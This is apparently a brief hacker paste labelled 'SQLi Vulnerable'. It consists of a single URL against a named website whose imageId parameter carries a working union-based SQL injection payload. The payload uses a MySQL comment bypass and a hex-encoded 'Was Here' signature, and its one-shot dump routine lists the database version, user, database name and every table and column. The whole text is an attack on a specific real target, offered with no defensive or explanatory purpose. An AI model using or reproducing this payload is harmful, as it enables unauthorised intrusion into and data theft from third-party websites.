SQLi Vulnerable

https://hpmcor.com/artical/post.php?imageId=-16%20union%20select%201,/*!50000ConcaT(0x5873637974683320576173204865726521,0x3c62723e,@@version,0x3c62723e,user(),0x3c62723e,database(),0x3c62723e,0x3c62723e,make_set(6,@:=0x0a,(select(1)from(information_schema.columns)where@:=make_set(511,@,0x3c6c693e,table_name,column_name)),@))*/,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45,46,47,48,49,50,51,52,53--+